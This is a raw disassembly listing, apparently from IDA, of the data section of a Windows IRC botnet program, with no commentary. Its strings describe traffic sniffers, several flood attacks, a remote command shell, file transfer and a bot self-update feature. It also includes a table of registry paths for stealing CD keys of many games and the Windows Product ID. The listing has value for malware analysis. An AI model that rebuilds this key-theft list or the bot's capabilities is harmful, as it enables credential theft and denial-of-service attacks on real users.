aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_4359C4	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359FC	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_435A34	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A68	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A9C	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435AD0	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_435B00	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B54	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D7C	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_43616C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436180	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 4
dword_4361B8	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_4361CC	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361E0	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361FC	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 4
		dd 80000001h
off_43622C	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436238	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 4373BCh, 4373B0h,	4373A0h, 2 dup(0)
		dd 80000001h, 437380h, 43737Ch,	437368h, 2 dup(0)
		dd 80000001h, 437344h, 43737Ch,	437338h, 2 dup(0)
		dd 80000001h, 437314h, 43730Ch,	4372F8h, 2 dup(0)
		dd 80000001h, 4372E4h, 4372D4h,	4372B8h, 2 dup(0)
		dd 80000001h, 437274h, 4373FCh,	437260h, 2 dup(0)
		dd 80000002h, 437234h, 437228h,	437208h, 2 dup(0)
		dd 80000002h, 4371D4h, 4373FCh,	4371BCh, 2 dup(0)
		dd 80000002h, 437188h, 4373FCh,	437170h, 2 dup(0)
		dd 80000002h, 437158h, 4373FCh,	437140h, 2 dup(0)
		dd 80000002h, 437104h, 43D158h,	4370F4h, 2 dup(0)
		dd 80000002h, 4370BCh, 43D158h,	4370A8h, 2 dup(0)
		dd 80000002h, 43705Ch, 43D158h,	43703Ch, 2 dup(0)
		dd 80000002h, 436FECh, 43D158h,	436FC0h, 2 dup(0)
		dd 80000002h, 436F84h, 43D158h,	436F70h, 2 dup(0)
		dd 80000002h, 436F38h, 43D158h,	436F28h, 2 dup(0)
		dd 80000002h, 436ED8h, 43D158h,	436EACh, 2 dup(0)
		dd 80000002h, 436E6Ch, 43D158h,	436E50h, 2 dup(0)
		dd 80000002h, 436E20h, 43D158h,	436E00h, 2 dup(0)
		dd 80000002h, 436DC4h, 43D158h,	436DB0h, 2 dup(0)
		dd 80000002h, 436D68h, 43D158h,	436D48h, 2 dup(0)
		dd 80000002h, 436CF4h, 43D158h,	436CC4h, 2 dup(0)
		dd 80000002h, 436C74h, 43D158h,	436C48h, 2 dup(0)
		dd 80000002h, 436C08h, 436C00h,	436BE0h, 2 dup(0)
		dd 80000002h, 436B9Ch, 43D158h,	436B80h, 2 dup(0)
		dd 80000002h, 436B34h, 43D158h,	436B10h, 2 dup(0)
		dd 80000002h, 436ADCh, 43D158h,	436AD0h, 2 dup(0)
		dd 80000002h, 436A9Ch, 43D158h,	436A90h, 2 dup(0)
		dd 80000002h, 436A5Ch, 43D158h,	436A50h, 2 dup(0)
		dd 80000002h, 436A1Ch, 43D158h,	436A10h, 2 dup(0)
		dd 80000002h, 4369D4h, 43D158h,	4369C0h, 2 dup(0)
		dd 80000002h, 436984h, 43D158h,	436970h, 2 dup(0)
		dd 80000002h, 436940h, 4373FCh,	436924h, 2 dup(0)
		dd 80000002h, 436904h, 4368FCh,	4368D8h, 2 dup(0)
		dd 80000002h, 4368BCh, 4368FCh,	43689Ch, 2 dup(0)
		dd 80000002h, 43687Ch, 4368FCh,	436858h, 2 dup(0)
		dd 80000002h, 436840h, 4368FCh,	43683Ch, 2 dup(0)
		dd 80000002h, 436820h, 436810h,	436808h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_4367D4[eax], al
		push	eax
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aHiddenDangerou ; "Hidden & Dangerous	2"
		dd 2 dup(0)
		dd 80000002h, 436780h, 436774h,	43674Ch, 43673Ch, 436728h
		dd 80000002h, 436704h, 4366F8h,	4366E4h, 4366D4h, 4366CCh
		dd 80000002h, 436704h, 4366F8h,	4366A0h, 4366D4h, 436698h
		dd 80000002h, 436704h, 4366F8h,	436668h, 4366D4h, 436660h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0 ; DATA XREF: ___:004365DCo
		align 4
byte_4367D4	db 53h			; DATA XREF: ___:004365D2w
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:00436234o
aCdkey		db 'CDKey',0            ; DATA XREF: ___:00436230o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_43622Co
		align 4
asc_43742C:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_437430	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_4374AC	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_4374D0	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374E8	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_437514	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_437538	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437550	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437568	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_437588	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4375AC	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_4375D0	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375FC	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43761C	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_43764C	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_43767C	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4376A8	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376DC	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_437720	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_43773C	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437774	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_43779C	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_4377C8	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_4377F0	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_437818	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 4
off_437868	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_43786C	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 10h
unk_437880	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4378BC	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_4378F8	dd offset byte_5C3A41	; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
